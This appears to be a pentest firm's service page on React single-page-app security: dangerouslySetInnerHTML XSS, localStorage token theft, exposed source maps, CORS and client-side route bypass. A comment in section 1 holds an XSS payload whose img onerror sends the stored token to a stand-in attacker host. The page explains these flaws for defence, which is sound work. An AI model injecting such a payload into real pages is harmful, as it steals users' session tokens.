1. XSS via dangerouslySetInnerHTML

React's JSX expression interpolation escapes HTML by default. The dangerouslySetInnerHTML attribute is an explicit escape hatch that injects raw HTML strings into the DOM. Every use of this attribute in a React application is a potential XSS sink. We audit your component tree for every instance and test whether any user-controlled data can reach it through props, Redux state, or URL parameters:

// VULNERABLE React component rendering user content without sanitization
function UserBio({ user }) {
  return (
    <div
      // Attacker submits bio containing: <img src=x onerror="fetch('https://attacker.com?t='+localStorage.token)">
      dangerouslySetInnerHTML={{ __html: user.bio }}
    />
  );
}

2. Token storage and XSS-based theft

Many React SPAs store authentication tokens in localStorage or sessionStorage for persistence across page refreshes. Both are readable by any JavaScript on the page. We map the complete XSS attack chain: find an injection point, inject a script that reads localStorage.getItem('token'), and exfiltrate the token to an attacker-controlled endpoint. The entire chain can execute silently in under 200 milliseconds.

The secure pattern for SPA authentication is HttpOnly cookies managed by the backend, combined with a CSRF token in a separate, readable cookie. This prevents JavaScript from reading the session credential even in the presence of an XSS vulnerability.

3. Production source map exposure

Webpack and Vite can generate source maps that map compiled JavaScript back to the original TypeScript or JSX source. If these .map files are deployed to production (they are referenced by # sourceMappingURL comments in compiled JS), an attacker can download them to read your complete application source code including internal endpoint definitions, authentication logic, and any hardcoded values in the source.

# Check if source maps are exposed in production
curl https://yourapp.com/static/js/main.chunk.js | tail -1
# If this returns "//# sourceMappingURL=main.chunk.js.map" - check if the .map file is accessible
curl -o /dev/null -w "%{http_code}" https://yourapp.com/static/js/main.chunk.js.map

4. CORS misconfiguration

React SPAs rely on CORS headers to authorize cross-origin API requests from the browser. We test your API's CORS configuration for: wildcard origins (Access-Control-Allow-Origin: *) combined with credentials, origin reflection (where the server echoes back any Origin header from the request), and overly permissive CORS rules that allow arbitrary domains to make authenticated requests on behalf of logged-in users.

5. Client-side authorization bypass

React Router's route guards are client-side JavaScript. If your protected routes check an authentication variable from a Redux store or React Context and redirect to login if that variable is false, an attacker can set that variable to true in the browser's developer tools or through JavaScript injection. We test whether removing the client-side guard exposes actual server-side data or only breaks the UI rendering. All sensitive data must be protected at the API layer, not just the route layer.

Real finding from a React SPA engagement

Source maps exposed in production revealing internal API structure

During a penetration test of a Nigerian wealth management platform's React dashboard, we discovered that Vite source maps were deployed to the production CDN. We downloaded the source maps and reconstructed the complete TypeScript source. Inside the source, we found references to undocumented admin API endpoints including one for bulk account balance adjustments that had no rate limiting and accepted arbitrary amounts. The endpoint existed and was functional. Fix priority: high. Remediated by configuring the Vite build to strip source map references from production bundles.

Shipping a React SPA that handles financial or personal data? Schedule a security assessment.

Book a React SPA Pentest

Frequently asked questions

Why is storing JWT tokens in localStorage insecure?

localStorage is accessible by any JavaScript running on the page, including injected scripts from Cross-Site Scripting (XSS) vulnerabilities. If your React app has a single XSS vulnerability, an attacker can exfiltrate every stored token to a remote server. HttpOnly cookies cannot be read by JavaScript, making them significantly more resistant to XSS-based token theft.

Does React prevent XSS attacks automatically?

React escapes values by default when rendering JSX expressions. However, dangerouslySetInnerHTML explicitly bypasses this protection and injects raw HTML into the DOM. If user-controlled data reaches dangerouslySetInnerHTML, it creates a direct XSS vulnerability regardless of React's other protections.

What is client-side routing bypass in a React app?

React Router handles navigation on the client side. If your React app renders a protected route by checking a client-side state variable (like isAuthenticated from a Redux store), an attacker can manipulate that state in the browser console or through JavaScript injection to access routes that should require authentication.

Related reading

Blog: Next.js security testing · Angular security testing · API data leaks

Services: Penetration testing · API security testing